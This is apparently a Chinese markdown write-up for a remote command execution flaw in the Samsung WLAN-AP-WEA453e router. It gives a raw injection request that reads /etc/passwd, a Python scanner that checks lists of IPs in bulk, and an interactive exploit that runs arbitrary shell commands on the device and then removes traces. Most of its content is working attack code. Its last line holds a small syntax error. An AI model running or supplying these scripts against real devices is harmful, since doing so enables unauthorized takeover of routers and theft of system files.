Create WLAN-AP-WEA453e RCE三星路由器远程命令执行漏洞.md

WLAN-AP-WEA453e RCE三星路由器远程命令执行漏洞.md

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+### 漏洞简介  
+
+|漏洞名称|上报日期|漏洞发现者|产品首页|软件链接|版本|CVE编号|
+--------|--------|---------|--------|-------|----|------|
+|WLAN-AP-WEA453e RCE三星路由器远程命令执行漏洞|2020-8|未知|https://www.Samsung.com| |三星WLAN-AP-WEA453e路由器|
+
+路由器首页
+![image](https://user-images.githubusercontent.com/86941613/185778437-2e5218e7-68a0-4d60-8f53-2e91c0d576f4.png)
+
+### 漏洞原理
+
+利用burp构造特殊的请求
+
+```shell
+    POST /(download)/tmp/a.txt HTTP/1.1
+    Host: xxx.xxx.xxx.xxx
+    command1=shell:cat /etc/passwd| dd of=/tmp/a.txt
+```
+![image](https://user-images.githubusercontent.com/86941613/185778450-ef88e085-aa79-407d-a0ae-bedb50fb53dd.png)
+
+### POC批量检测代码如下
+```python
+#filename: Check.py
+#Usage: python3 Check.py ip.txt
+import requests
+import sys
+import datetime
+
+def CheckVuln(host):
+    vurl = host+'/(download)/tmp/a.txt'
+    headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36','Connection': 'close'}
+    data = {'command1':'shell:ls|dd of=/tmp/a.txt'}
+    try:
+        req = requests.post(url=vurl,data=data,verify=False,headers=headers,timeout=1)
+        
+        if req.status_code ==200 and 'root' in req.text:
+            T = ('[*]-'+host+'-----Vulnerable!')
+            print(T)
+            OutPut(T)
+        else:
+            T = ('[-]-'+host+'-----Not Vulnnerable')
+            print(T)
+            OutPut(T)
+
+    except:
+        T = host+'[-]-----Network Error'
+        print(T)
+        OutPut(T)
+
+def OutPut(F):
+    time =  datetime.datetime.now().strftime('%Y-%m-%d')
+    #print(time)
+    f = open(time+'.txt','a')
+    f.write(F + '\n') 
+    f.close()
+            
+def GetUrl(path):
+    with open(path,'r',encoding='utf-8') as f:
+        for i in f:
+            if i.strip() != '':
+                oldh = i.strip() 
+                #print(oldh)
+                host = 'http://'+oldh
+                CheckVuln(host)
+               
+            else:
+                print(path+'Empty File')
+
+if len(sys.argv) != 2:
+    print('-------------Usage:python3 Check.py ip.txt----------------- ')
+    sys.exit()
+
+path = sys.argv[1]
+
+GetUrl(path)
+
+```
+### EXP
+```python
+#!/usr/bin/env python3
+# -*- coding: utf-8 -*-
+import requests
+import sys
+import os
+from urllib3.exceptions import InsecureRequestWarning
+
+class exp:
+    def Checking(self):
+        try:
+            Url = self.target + "(download)/tmp/hello.txt"
+            CkData = "command1=shell:cat /etc/passwd| dd of=/tmp/hello.txt"
+            response = requests.post(url = Url,data = CkData,verify = False,timeout = 20)
+            if(response.status_code == 200 and 'root:' in response.text):
+                return True
+            else:
+                return False
+        except Exception as e:
+            #print("checking")
+            print("[-] Server Error!")
+
+    def Exploit(self):
+        Url = self.target + "(download)/tmp/hello.txt"
+        while True:
+            try:
+                command = input("# ")
+                if(command == 'exit'):
+                    self.Clean()
+                    sys.exit()
+                if(command == 'cls'):
+                    os.system("cls")
+                    continue
+                data = "command1=shell:" + command + "| dd of=/tmp/hello.txt"
+                response = requests.post(url = Url,data = data,verify = False,timeout = 20)
+                if(response.text == None):
+                    print("[!] Server reply nothing")
+                else:
+                    print(response.text)
+            except KeyboardInterrupt:
+                self.Clean()
+                exit()
+            except Exception as e:
+                print("[-] Server not suport this command")
+
+    def Clean(self):
+        Url = self.target + "(download)/tmp/hello.txt"
+        try:
+            CleanData = "command1=shell:busybox rm -f /tmp/hello.txt"
+            response = requests.post(url = Url,data = CleanData,verify = False,timeout = 10)
+
+            if(response.status_code == 200):
+                print("[+] Clean target successfully!")
+                sys.exit()
+            else:
+                print("[-] Clean Failed!")
+        except Exception as e:
+            print("[-] Server error!")
+
+    def __init__(self,target,port):
+        self.target=target
+        requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
+
+        if(len(sys.argv) == 3):
+            module = sys.argv[2]
+            if(module == 'clean'):
+                self.Clean()
+            else:
+                print("[-] module error!")
+
+        while self.Checking() is True:
+            self.Exploit()
+            
+exp(192.168.10.1,80)
+```